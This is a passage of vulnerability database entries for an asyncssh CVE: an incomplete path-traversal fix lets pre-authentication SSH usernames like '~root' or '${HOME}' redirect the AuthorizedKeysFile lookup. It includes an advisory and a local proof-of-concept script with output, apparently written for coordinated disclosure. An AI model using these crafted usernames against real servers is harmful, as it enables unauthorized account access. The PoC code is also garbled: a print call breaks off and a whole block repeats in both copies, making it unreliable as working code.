blocked ---------------------\n blocked = guard_blocks(\"../../../../tmp/evil\", cfg)\n print(f\"[1] original CVE \u0027../../../../tmp/evil\u0027 blocked: {blocked}\")\n results.append((\"original CVE traversal is blocked (fix present)\", blocked))\n\n # also: a literal slash is blocked (the guard\u0027s whole purpose)\n slash_blocked = guard_blocks(\"/etc\", cfg)\n print(f\" literal-slash user \u0027/etc\u0027 blocked: {slash_blocked}\")\n results.append((\"literal-slash username is blocked\", slash_blocked))\n\n print()\n\n # ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------\n cfg_a = \"AuthorizedKeysFile %u/.ssh/authorized_keys\"\n blocked_a = guard_blocks(\"~root\", cfg_a)\n val_a = expand_authkeys(\"~root\", cfg_a)\n resolved_a = str(Path(val_a[0]).expanduser()) # what read_file()/open_file() does\n print(f\"[A] tilde bypass user \u0027~root\u0027:\")\n print(f\" guard blocks it? {blocked_a} (False == bypass)\")\n print(f\" expanded config value : {val_a}\")\n print(f\" after expanduser() : {resolved_a} \u003c-- read as authorized_keys\")\n results.append((\"A: ~user NOT blocked by guard\", not blocked_a))\n results.append((\"A: expanduser() redirects to another home tree\",\n resolved_a.startswith(\"/root/\") or \"~\" not in resolved_a))\n\n print()\n\n # ---- BYPASS B: ${ENV} survives the guard, re-introduces \u0027/\u0027 -----------\n # The username contains no \u0027/\u0027,\u0027\\\\\u0027 and is not \u0027..\u0027, so the guard passes.\n # Token expansion makes %u -\u003e \u0027${HOME}\u0027, then ENV expansion substitutes a\n # server value that DOES contain \u0027/\u0027, defeating the separator filter.\n cfg_b = \"AuthorizedKeysFile %u\"\n os.environ.setdefault(\"HOME\", \"/root\")\n blocked_b = guard_blocks(\"${HOME}\", cfg_b)\n val_b = expand_authkeys(\"${HOME}\", cfg_b)\n print(f\"[B] env bypass user \u0027${{HOME}}\u0027:\")\n print(f\" guard blocks it? {blocked_b} (False == bypass)\")\n print(f\" expanded config value : {val_b} (HOME={os.environ[\u0027HOME\u0027]})\")\n sep_injected = any(\"/\" in p for p in val_b)\n print(f\" contains \u0027/\u0027 after guard? {sep_injected} \u003c-- separator filter bypassed\")\n results.append((\"B: ${ENV} username NOT blocked by guard\", not blocked_b))\n results.append((\"B: ${ENV} re-introduces \u0027/\u0027 the guard rejected literally\",\n sep_injected))\n\n # demonstrate arbitrary \u0027/\u0027-containing absolute path via a referenced var\n os.environ[\"ASYNCSSH_POC_VAR\"] = \"/tmp/asyncssh_poc/INJECTED/authorized_keys\"\n val_b2 = expand_authkeys(\"${ASYNCSSH_POC_VAR}\", cfg_b)\n print(f\" via referenced env var: {val_b2}\")\n results.append((\"B: env value yields absolute \u0027/\u0027-path post-guard\",\n val_b2 == [\"/tmp/asyncssh_poc/INJECTED/authorized_keys\"]))\n\n # ---- verdict ----------------------------------------------------------\n print(\"\\n==== RESULTS ====\")\n ok = True\n for name, passed in results:\n print(f\" [{\u0027PASS\u0027 if passed else \u0027FAIL\u0027}] {name}\")\n ok = ok and passed\n print(\"\\nVERDICT:\",\n\n print()\n\n # ---- BYPASS B: ${ENV} survives the guard, re-introduces \u0027/\u0027 -----------\n # The username contains no \u0027/\u0027,\u0027\\\\\u0027 and is not \u0027..\u0027, so the guard passes.\n # Token expansion makes %u -\u003e \u0027${HOME}\u0027, then ENV expansion substitutes a\n # server value that DOES contain \u0027/\u0027, defeating the separator filter.\n cfg_b = \"AuthorizedKeysFile %u\"\n os.environ.setdefault(\"HOME\", \"/root\")\n blocked_b = guard_blocks(\"${HOME}\", cfg_b)\n val_b = expand_authkeys(\"${HOME}\", cfg_b)\n print(f\"[B] env bypass user \u0027${{HOME}}\u0027:\")\n print(f\" guard blocks it? {blocked_b} (False == bypass)\")\n print(f\" expanded config value : {val_b} (HOME={os.environ[\u0027HOME\u0027]})\")\n sep_injected = any(\"/\" in p for p in val_b)\n print(f\" contains \u0027/\u0027 after guard? {sep_injected} \u003c-- separator filter bypassed\")\n results.append((\"B: ${ENV} username NOT blocked by guard\", not blocked_b))\n results.append((\"B: ${ENV} re-introduces \u0027/\u0027 the guard rejected literally\",\n sep_injected))\n\n # demonstrate arbitrary \u0027/\u0027-containing absolute path via a referenced var\n os.environ[\"ASYNCSSH_POC_VAR\"] = \"/tmp/asyncssh_poc/INJECTED/authorized_keys\"\n val_b2 = expand_authkeys(\"${ASYNCSSH_POC_VAR}\", cfg_b)\n print(f\" via referenced env var: {val_b2}\")\n results.append((\"B: env value yields absolute \u0027/\u0027-path post-guard\",\n val_b2 == [\"/tmp/asyncssh_poc/INJECTED/authorized_keys\"]))\n\n # ---- verdict ----------------------------------------------------------\n print(\"\\n==== RESULTS ====\")\n ok = True\n for name, passed in results:\n print(f\" [{\u0027PASS\u0027 if passed else \u0027FAIL\u0027}] {name}\")\n ok = ok and passed\n print(\"\\nVERDICT:\",\n \"guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)\"\n if ok else \"one or more checks did not hold\")\n return 0 if ok else 1\n\n\n if __name__ == \"__main__\":\n sys.exit(main())\n```",
"id": "BREW-dvc-CVE-2026-54590",
"modified": "2026-09-17T19:47:02Z",
"published": "2026-08-27T12:04:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-qr67-gv47-xwwh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54590"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/commit/3d515ba9ba0cd9990d248bdf62bcf05d51261a88"
},
{
"type": "PACKAGE",
"url": "https://github.com/ronf/asyncssh"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/releases/tag/v2.23.1"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "asyncssh has an incomplete fix for CVE-2026-45309 \u2014 AuthorizedKeysFile %u still escapes the intended directory via a leading ~ (and weakly via ${ENV}) username substitution",
"upstream": [
"GHSA-qr67-gv47-xwwh",
"CVE-2026-54590",
"PYSEC-2026-3809"
]
}
BREW-KIMI-CLI-CVE-2026-54590 (GHSA-QR67-GV47-XWWH)
Vulnerability from osv_homebrew – Published: 2026-08-27 12:24 – Updated: 2026-09-10 19:37 – Source websiteIncomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h). The
2.23.0 guard that sanitises the SSH username before %u substitution
in AuthorizedKeysFile blocks /, \ and .., but does not block a
leading ~ (or ${ENV}), both of which are re-introduced by later
expansion and reach the file open — defeating the guard.
Affected: asyncssh 2.23.0 and current develop (commit a60f863,
HEAD on 2026-05-29).
## Summary
The fix for CVE-2026-45309 added a guard in
SSHServerConfig._set_tokens (asyncssh/config.py:715-716) that
rejects an SSH username containing /, \, or equal to .., before
it is substituted for the %u token in AuthorizedKeysFile:
if self._user == '..' or '/' in self._user or '\\' in self._user:
raise IllegalUserName('Unsafe username substitution')
However, the %u-substituted value is subsequently passed through
environment-variable expansion (_expand_val, config.py:145-149 —
token expansion then env expansion) and, at file-open time, through
expanduser() (read_authorized_keys → read_file →
open(Path(filename).expanduser()), auth_keys.py:348 →
misc.py:290). Both re-introduce the path control the guard was meant
to remove, so a username that contains no //\ can still cause the
server to read an authorized-keys file outside the intended per-user
directory.
The client-supplied username reaches this path pre-authentication:
_process_userauth_request takes the username from the
SSH_MSG_USERAUTH_REQUEST packet (connection.py:2516-2519) and
_finish_userauth calls reload_config() (connection.py:2536),
which re-evaluates AuthorizedKeysFile with username=self._username
(connection.py:5906) before the offered key is validated.
## Primary vector — leading ~
A username such as ~root or ~victim passes the guard (no /). For
a server whose AuthorizedKeysFile begins with %u — e.g.
AuthorizedKeysFile %u/.ssh/authorized_keys — the expanded value is
~victim/.ssh/authorized_keys, which expanduser() resolves to
/home/victim/.ssh/authorized_keys (~root → /root/...; a bare ~
→ the server process's home). The username has therefore escaped the
intended per-user location without using any path separator —
defeating the purpose of the guard.
Note: expanduser() only expands a leading ~, so this vector
requires %u to be the first path component of AuthorizedKeysFile.
(The CVE-2026-45309 authorized_keys/%u example — %u not leading —
is not reachable this way; that was the ../ form.)
## Impact and limitations
- Demonstrated (verified against source at a60f863): the guard is
bypassable and the authorized-keys lookup is redirected to an
attacker-named home tree, pre-auth, with a separator-free username.
- Impact model = identical to CVE-2026-45309: authenticating as the
redirected username when a readable authorized-keys file containing
the attacker's key is reachable at the redirected location. The parent
CVE accepted this exact precondition and was scored C:N/I:H/A:N;
this is scored consistently.
- Not built: a live multi-account SSH auth harness; the PoC verifies
the path-redirection mechanism in-process, deterministically. No new
primitive is claimed beyond the parent CVE's accepted model — only
that the 2.23.0 fix does not close it for ~/${ENV}.
- Preconditions (captured by AC:H): %u must be the leading path
component; on Python 3.13, Path('~nonexistentuser').expanduser()
raises RuntimeError, so only existing accounts are reachable
(confirmed: asyncssh 2.23.0, Python 3.13.12).
## Secondary vector — ${ENV} (defense-in-depth only)
A username like ${HOME} also passes the guard and is then
environment-expanded, re-introducing /. Weaker and not a practical
exploit: the attacker can only reference env vars that already exist
in the server process (a missing variable raises ConfigParseError)
and cannot control their values. Reported as hardening.
## Reproduction In-process, deterministic, no network. Against a checkout of asyncssh 2.23.0:
cd /path/to/asyncssh
PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py
Output (abridged):
[1] original CVE '../../../../tmp/evil' blocked: True (fix present)
literal-slash user '/etc' blocked: True
[A] tilde bypass user '~root':
guard blocks it? False (False == bypass)
expanded config value : ['~root/.ssh/authorized_keys']
after expanduser() : /root/.ssh/authorized_keys <-- read as authorized_keys
VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)
## Suggested fix
Tighten _set_tokens to also reject usernames that re-introduce path
control after expansion — reject a leading ~ / ~user and $/${
references in self._user. More robustly, validate that the FINAL
expanded AuthorizedKeysFile path remains within the intended base
directory, and/or suppress expanduser/environment expansion on the
%u-derived component specifically.
## Disclosure
Coordinated, ~90-day default. I will not publish details/PoC before a
fix is released, and am happy to validate the patch. Credit (if given)
to cesabici-bit.
## PoC source (see code block below)
#!/usr/bin/env python3
"""
PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path
control). Local-only, in-process, deterministic. No network.
CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in
SSHServerConfig._set_tokens that rejects a client username containing
'/', '\\', or equal to '..' before it is substituted for the %u token in
the server's AuthorizedKeysFile directive.
This PoC shows the blocklist is bypassable: the %u value is afterwards run
through (1) ${ENV} expansion and (2) ~ expanduser(), both of which
re-introduce the path control the guard was meant to remove.
CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() — it lets
a separator-free username (e.g. '~root') escape to another home tree when %u
is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can
only REFERENCE env vars that already exist on the server and cannot control
their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to
illustrate the expansion, and does NOT represent attacker capability. Treat (1)
as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.
Run from a checkout of asyncssh (cwd on sys.path), e.g.:
cd /tmp/targets/asyncssh && python3 <thisfile>
"""
import os
import sys
import tempfile
from pathlib import Path
import asyncssh
from asyncssh.config import SSHServerConfig
try:
from asyncssh.misc import IllegalUserName
except Exception: # pragma: no cover
IllegalUserName = asyncssh.IllegalUserName
def expand_authkeys(user, cfg_text):
"""Load a server config exactly as SSHServerConnection does and return the
expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the
CVE-2026-45309 guard fires."""
with tempfile.NamedTemporaryFile("w", suffix=".conf", delete=False) as f:
f.write(cfg_text)
cfg_path = f.name
try:
# mirror connection.py:8897
# SSHServerConfig.load(last_config, config, reload, canonical, final,
# accept_addr, accept_port, username,
# client_host, client_addr)
cfg = SSHServerConfig.load(
None, cfg_path, True, False, False,
"127.0.0.1", 22, user, "client.example", "203.0.113.7",
)
return cfg.get("AuthorizedKeysFile")
finally:
os.unlink(cfg_path)
def guard_blocks(user, cfg_text):
"""Return True if the CVE-2026-45309 guard rejects this username."""
try:
expand_authkeys(user, cfg_text)
return False
except IllegalUserName:
return True
def main():
print(f"# asyncssh {asyncssh.__version__} ({asyncssh.__file__})")
print(f"# python {sys.version.split()[0]}\n")
results = []
# ---- Sanity 0: benign username expands normally -----------------------
cfg = "AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u"
val = expand_authkeys("alice", cfg)
print(f"[0] benign user 'alice': {val}")
results.append(("benign expands to per-user path",
val == ["/etc/ssh/authorized_keys.d/alice"]))
# ---- Sanity 1: original CVE-2026-45309 is blocked ---------------------
blocked = guard_blocks("../../../../tmp/evil", cfg)
print(f"[1] original CVE '../../../../tmp/evil' blocked: {blocked}")
results.append(("original CVE traversal is blocked (fix present)", blocked))
# also: a literal slash is blocked (the guard's whole purpose)
slash_blocked = guard_blocks("/etc", cfg)
print(f" literal-slash user '/etc' blocked: {slash_blocked}")
results.append(("literal-slash username is blocked", slash_blocked))
print()
# ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------
cfg_a = "AuthorizedKeysFile %u/.ssh/authorized_keys"
blocked_a = guard_blocks("~root", cfg_a)
val_a = expand_authkeys("~root", cfg_a)
resolved_a = str(Path(val_a[0]).expanduser()) # what read_file()/open_file() does
print(f"[A] tilde bypass user '~root':")
print(f" guard blocks it? {blocked_a} (False == bypass)")
print(f" expanded config value : {val_a}")
print(f" after expanduser() : {resolved_a} <-- read as authorized_keys")
results.append(("A: ~user NOT blocked by guard", not blocked_a))
results.append(("A: expanduser() redirects to another home tree",
resolved_a.startswith("/root/") or "~" not in resolved_a))
print()
# ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
# The username contains no '/','\\' and is not '..', so the guard passes.
# Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
# server value that DOES contain '/', defeating the separator filter.
cfg_b = "AuthorizedKeysFile %u"
os.environ.setdefault("HOME", "/root")
blocked_b = guard_blocks("${HOME}", cfg_b)
val_b = expand_authkeys("${HOME}", cfg_b)
print(f"[B] env bypass user '${{HOME}}':")
print(f" guard blocks it? {blocked_b} (False == bypass)")
print(f" expanded config value : {val_b} (HOME={os.environ['HOME']})")
sep_injected = any("/" in p for p in val_b)
print(f" contains '/' after guard? {sep_injected} <-- separator filter bypassed")
results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
sep_injected))
# demonstrate arbitrary '/'-containing absolute path via a referenced var
os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
print(f" via referenced env var: {val_b2}")
results.append(("B: env value yields absolute '/'-path post-guard",
val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))
# ---- verdict ----------------------------------------------------------
print("\n==== RESULTS ====")
ok = True
for name, passed in results:
print(f" [{'PASS' if passed else 'FAIL'}] {name}")
ok = ok and passed
print("\nVERDICT:",
print()
# ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
# The username contains no '/','\\' and is not '..', so the guard passes.
# Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
# server value that DOES contain '/', defeating the separator filter.
cfg_b = "AuthorizedKeysFile %u"
os.environ.setdefault("HOME", "/root")
blocked_b = guard_blocks("${HOME}", cfg_b)
val_b = expand_authkeys("${HOME}", cfg_b)
print(f"[B] env bypass user '${{HOME}}':")
print(f" guard blocks it? {blocked_b} (False == bypass)")
print(f" expanded config value : {val_b} (HOME={os.environ['HOME']})")
sep_injected = any("/" in p for p in val_b)
print(f" contains '/' after guard? {sep_injected} <-- separator filter bypassed")
results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
sep_injected))
# demonstrate arbitrary '/'-containing absolute path via a referenced var
os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
print(f" via referenced env var: {val_b2}")
results.append(("B: env value yields absolute '/'-path post-guard",
val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))
# ---- verdict ----------------------------------------------------------
print("\n==== RESULTS ====")
ok = True
for name, passed in results:
print(f" [{'PASS' if passed else 'FAIL'}] {name}")
ok = ok and passed
print("\nVERDICT:",
"guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)"
if ok else "one or more checks did not hold")
return 0 if ok else 1
if __name__ == "__main__":
sys.exit(main())
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "asyncssh",
"resource_purl": "pkg:pypi/asyncssh@2.21.1",
"upstream_fixed_in": "2.23.1"
},
"package": {
"ecosystem": "Homebrew",
"name": "kimi-cli",
"purl": "pkg:brew/kimi-cli"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/asyncssh@2.21.1",
"name": "asyncssh",
"resource": "asyncssh",
"strategy": "registry",
"subject_version": "2.21.1"
}
]
},
"details": "**Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h).** The\n 2.23.0 guard that sanitises the SSH username before `%u` substitution\n in `AuthorizedKeysFile` blocks `/`, `\\` and `..`, but does not block a\n leading `~` (or `${ENV}`), both of which are re-introduced by later\n expansion and reach the file open \u2014 defeating the guard.\n\n **Affected:** asyncssh 2.23.0 and current `develop` (commit `a60f863`,\n HEAD on 2026-05-29).\n\n ## Summary\n The fix for CVE-2026-45309 added a guard in\n `SSHServerConfig._set_tokens` (`asyncssh/config.py:715-716`) that\n rejects an SSH username containing `/`, `\\`, or equal to `..`, before\n it is substituted for the `%u` token in `AuthorizedKeysFile`:\n\n if self._user == \u0027..\u0027 or \u0027/\u0027 in self._user or \u0027\\\\\u0027 in self._user:\n raise IllegalUserName(\u0027Unsafe username substitution\u0027)\n\n However, the `%u`-substituted value is subsequently passed through\n environment-variable expansion (`_expand_val`, `config.py:145-149` \u2014\n token expansion then env expansion) and, at file-open time, through\n `expanduser()` (`read_authorized_keys` \u2192 `read_file` \u2192\n `open(Path(filename).expanduser())`, `auth_keys.py:348` \u2192\n `misc.py:290`). Both re-introduce the path control the guard was meant\n to remove, so a username that contains no `/`/`\\` can still cause the\n server to read an authorized-keys file outside the intended per-user\n directory.\n\n The client-supplied username reaches this path pre-authentication:\n `_process_userauth_request` takes the username from the\n `SSH_MSG_USERAUTH_REQUEST` packet (`connection.py:2516-2519`) and\n `_finish_userauth` calls `reload_config()` (`connection.py:2536`),\n which re-evaluates `AuthorizedKeysFile` with `username=self._username`\n (`connection.py:5906`) before the offered key is validated.\n\n ## Primary vector \u2014 leading `~`\n A username such as `~root` or `~victim` passes the guard (no `/`). For\n a server whose `AuthorizedKeysFile` begins with `%u` \u2014 e.g.\n `AuthorizedKeysFile %u/.ssh/authorized_keys` \u2014 the expanded value is\n `~victim/.ssh/authorized_keys`, which `expanduser()` resolves to\n `/home/victim/.ssh/authorized_keys` (`~root` \u2192 `/root/...`; a bare `~`\n \u2192 the server process\u0027s home). The username has therefore escaped the\n intended per-user location without using any path separator \u2014\n defeating the purpose of the guard.\n\n Note: `expanduser()` only expands a leading `~`, so this vector\n requires `%u` to be the first path component of `AuthorizedKeysFile`.\n (The CVE-2026-45309 `authorized_keys/%u` example \u2014 `%u` not leading \u2014\n is not reachable this way; that was the `../` form.)\n\n ## Impact and limitations\n - Demonstrated (verified against source at `a60f863`): the guard is\n bypassable and the authorized-keys lookup is redirected to an\n attacker-named home tree, pre-auth, with a separator-free username.\n - Impact model = identical to CVE-2026-45309: authenticating as the\n redirected username when a readable authorized-keys file containing\n the attacker\u0027s key is reachable at the redirected location. The parent\n CVE accepted this exact precondition and was scored `C:N/I:H/A:N`;\n this is scored consistently.\n - Not built: a live multi-account SSH auth harness; the PoC verifies\n the path-redirection mechanism in-process, deterministically. No new\n primitive is claimed beyond the parent CVE\u0027s accepted model \u2014 only\n that the 2.23.0 fix does not close it for `~`/`${ENV}`.\n - Preconditions (captured by AC:H): `%u` must be the leading path\n component; on Python 3.13, `Path(\u0027~nonexistentuser\u0027).expanduser()`\n raises `RuntimeError`, so only existing accounts are reachable\n (confirmed: asyncssh 2.23.0, Python 3.13.12).\n\n ## Secondary vector \u2014 `${ENV}` (defense-in-depth only)\n A username like `${HOME}` also passes the guard and is then\n environment-expanded, re-introducing `/`. Weaker and not a practical\n exploit: the attacker can only reference env vars that already exist\n in the server process (a missing variable raises `ConfigParseError`)\n and cannot control their values. Reported as hardening.\n\n ## Reproduction\n In-process, deterministic, no network. Against a checkout of asyncssh\n 2.23.0:\n\n cd /path/to/asyncssh\n PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py\n\n Output (abridged):\n\n [1] original CVE \u0027../../../../tmp/evil\u0027 blocked: True (fix present)\n literal-slash user \u0027/etc\u0027 blocked: True\n [A] tilde bypass user \u0027~root\u0027:\n guard blocks it? False (False == bypass)\n expanded config value : [\u0027~root/.ssh/authorized_keys\u0027]\n after expanduser() : /root/.ssh/authorized_keys \u003c-- read as authorized_keys\n VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)\n\n ## Suggested fix\n Tighten `_set_tokens` to also reject usernames that re-introduce path\n control after expansion \u2014 reject a leading `~` / `~user` and `$`/`${`\n references in `self._user`. More robustly, validate that the FINAL\n expanded `AuthorizedKeysFile` path remains within the intended base\n directory, and/or suppress `expanduser`/environment expansion on the\n `%u`-derived component specifically.\n\n ## Disclosure\n Coordinated, ~90-day default. I will not publish details/PoC before a\n fix is released, and am happy to validate the patch. Credit (if given)\n to `cesabici-bit`.\n\n ## PoC source\n (see code block below)\n\n```python\n #!/usr/bin/env python3\n \"\"\"\n PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path\n control). Local-only, in-process, deterministic. No network.\n\n CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in\n SSHServerConfig._set_tokens that rejects a client username containing\n \u0027/\u0027, \u0027\\\\\u0027, or equal to \u0027..\u0027 before it is substituted for the %u token in\n the server\u0027s AuthorizedKeysFile directive.\n\n This PoC shows the blocklist is bypassable: the %u value is afterwards run\n through (1) ${ENV} expansion and (2) ~ expanduser(), both of which\n re-introduce the path control the guard was meant to remove.\n\n CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() \u2014 it lets\n a separator-free username (e.g. \u0027~root\u0027) escape to another home tree when %u\n is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can\n only REFERENCE env vars that already exist on the server and cannot control\n their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to\n illustrate the expansion, and does NOT represent attacker capability. Treat (1)\n as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.\n\n Run from a checkout of asyncssh (cwd on sys.path), e.g.:\n cd /tmp/targets/asyncssh \u0026\u0026 python3 \u003cthisfile\u003e\n \"\"\"\n\n import os\n import sys\n import tempfile\n from pathlib import Path\n\n import asyncssh\n from asyncssh.config import SSHServerConfig\n\n try:\n from asyncssh.misc import IllegalUserName\n except Exception: # pragma: no cover\n IllegalUserName = asyncssh.IllegalUserName\n\n\n def expand_authkeys(user, cfg_text):\n \"\"\"Load a server config exactly as SSHServerConnection does and return the\n expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the\n CVE-2026-45309 guard fires.\"\"\"\n with tempfile.NamedTemporaryFile(\"w\", suffix=\".conf\", delete=False) as f:\n f.write(cfg_text)\n cfg_path = f.name\n try:\n # mirror connection.py:8897\n # SSHServerConfig.load(last_config, config, reload, canonical, final,\n # accept_addr, accept_port, username,\n # client_host, client_addr)\n cfg = SSHServerConfig.load(\n None, cfg_path, True, False, False,\n \"127.0.0.1\", 22, user, \"client.example\", \"203.0.113.7\",\n )\n return cfg.get(\"AuthorizedKeysFile\")\n finally:\n os.unlink(cfg_path)\n\n\n def guard_blocks(user, cfg_text):\n \"\"\"Return True if the CVE-2026-45309 guard rejects this username.\"\"\"\n try:\n expand_authkeys(user, cfg_text)\n return False\n except IllegalUserName:\n return True\n\n\n def main():\n print(f\"# asyncssh {asyncssh.__version__} ({asyncssh.__file__})\")\n print(f\"# python {sys.version.split()[0]}\\n\")\n\n results = []\n\n # ---- Sanity 0: benign username expands normally -----------------------\n cfg = \"AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u\"\n val = expand_authkeys(\"alice\", cfg)\n print(f\"[0] benign user \u0027alice\u0027: {val}\")\n results.append((\"benign expands to per-user path\",\n val == [\"/etc/ssh/authorized_keys.d/alice\"]))\n\n # ---- Sanity 1: original CVE-2026-45309 is blocked ---------------------\n blocked = guard_blocks(\"../../../../tmp/evil\", cfg)\n print(f\"[1] original CVE \u0027../../../../tmp/evil\u0027 blocked: {blocked}\")\n results.append((\"original CVE traversal is blocked (fix present)\", blocked))\n\n # also: a literal slash is blocked (the guard\u0027s whole purpose)\n slash_blocked = guard_blocks(\"/etc\", cfg)\n print(f\" literal-slash user \u0027/etc\u0027 blocked: {slash_blocked}\")\n results.append((\"literal-slash username is blocked\", slash_blocked))\n\n print()\n\n # ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------\n cfg_a = \"AuthorizedKeysFile %u/.ssh/authorized_keys\"\n blocked_a = guard_blocks(\"~root\", cfg_a)\n val_a = expand_authkeys(\"~root\", cfg_a)\n resolved_a = str(Path(val_a[0]).expanduser()) # what read_file()/open_file() does\n print(f\"[A] tilde bypass user \u0027~root\u0027:\")\n print(f\" guard blocks it? {blocked_a} (False == bypass)\")\n print(f\" expanded config value : {val_a}\")\n print(f\" after expanduser() : {resolved_a} \u003c-- read as authorized_keys\")\n results.append((\"A: ~user NOT blocked by guard\", not blocked_a))\n results.append((\"A: expanduser() redirects to another home tree\",\n resolved_a.startswith(\"/root/\") or \"~\" not in resolved_a))\n\n print()\n\n # ---- BYPASS B: ${ENV} survives the guard, re-introduces \u0027/\u0027 -----------\n # The username contains no \u0027/\u0027,\u0027\\\\\u0027 and is not \u0027..\u0027, so the guard passes.\n # Token expansion makes %u -\u003e \u0027${HOME}\u0027, then ENV expansion substitutes a\n # server value that DOES contain \u0027/\u0027, defeating the separator filter.\n cfg_b = \"AuthorizedKeysFile %u\"\n os.environ.setdefault(\"HOME\", \"/root\")\n blocked_b = guard_blocks(\"${HOME}\", cfg_b)\n val_b = expand_authkeys(\"${HOME}\", cfg_b)\n print(f\"[B] env bypass user \u0027${{HOME}}\u0027:\")\n print(f\" guard blocks it? {blocked_b} (False == bypass)\")\n print(f\" expanded config value : {val_b} (HOME={os.environ[\u0027HOME\u0027]})\")\n sep_injected = any(\"/\" in p for p in val_b)\n print(f\" contains \u0027/\u0027 after guard? {sep_injected} \u003c-- separator filter bypassed\")\n results.append((\"B: ${ENV} username NOT blocked by guard\", not blocked_b))\n results.append((\"B: ${ENV} re-introduces \u0027/\u0027 the guard rejected literally\",\n sep_injected))\n\n # demonstrate arbitrary \u0027/\u0027-containing absolute path via a referenced var\n os.environ[\"ASYNCSSH_POC_VAR\"] = \"/tmp/asyncssh_poc/INJECTED/authorized_keys\"\n val_b2 = expand_authkeys(\"${ASYNCSSH_POC_VAR}\", cfg_b)\n print(f\" via referenced env var: {val_b2}\")\n results.append((\"B: env value yields absolute \u0027/\u0027-path post-guard\",\n val_b2 == [\"/tmp/asyncssh_poc/INJECTED/authorized_keys\"]))\n\n # ---- verdict ----------------------------------------------------------\n print(\"\\n==== RESULTS ====\")\n ok = True\n for name, passed in results:\n print(f\" [{\u0027PASS\u0027 if passed else \u0027FAIL\u0027}] {name}\")\n ok = ok and passed\n print(\"\\nVERDICT:\",\n\n print()\n\n # ---- BYPASS B: ${ENV} survives the guard, re-introduces \u0027/\u0027 -----------\n # The username contains no \u0027/\u0027,\u0027\\\\\u0027 and is not \u0027..\u0027, so the guard passes.\n # Token expansion makes %u -\u003e \u0027${HOME}\u0027, then ENV expansion substitutes a\n # server value that DOES contain \u0027/\u0027, defeating the separator filter.\n cfg_b = \"AuthorizedKeysFile %u\"\n os.environ.setdefault(\"HOME\", \"/root\")\n blocked_b = guard_blocks(\"${HOME}\", cfg_b)\n val_b = expand_authkeys(\"${HOME}\", cfg_b)\n print(f\"[B] env bypass user \u0027${{HOME}}\u0027:\")\n print(f\" guard blocks it? {blocked_b} (False == bypass)\")\n print(f\" expanded config value : {val_b} (HOME={os.environ[\u0027HOME\u0027]})\")\n sep_injected = any(\"/\" in p for p in val_b)\n print(f\" contains \u0027/\u0027 after guard? {sep_injected} \u003c-- separator filter bypassed\")\n results.append((\"B: ${ENV} username NOT blocked by guard\", not blocked_b))\n results.append((\"B: ${ENV} re-introduces \u0027/\u0027 the guard rejected literally\",\n sep_injected))\n\n # demonstrate arbitrary \u0027/\u0027-containing absolute path via a referenced var\n os.environ[\"ASYNCSSH_POC_VAR\"] = \"/tmp/asyncssh_poc/INJECTED/authorized_keys\"\n val_b2 = expand_authkeys(\"${ASYNCSSH_POC_VAR}\", cfg_b)\n print(f\" via referenced env var: {val_b2}\")\n results.append((\"B: env value yields absolute \u0027/\u0027-path post-guard\",\n val_b2 == [\"/tmp/asyncssh_poc/INJECTED/authorized_keys\"]))\n\n # ---- verdict ----------------------------------------------------------\n print(\"\\n==== RESULTS ====\")\n ok = True\n for name, passed in results:\n print(f\" 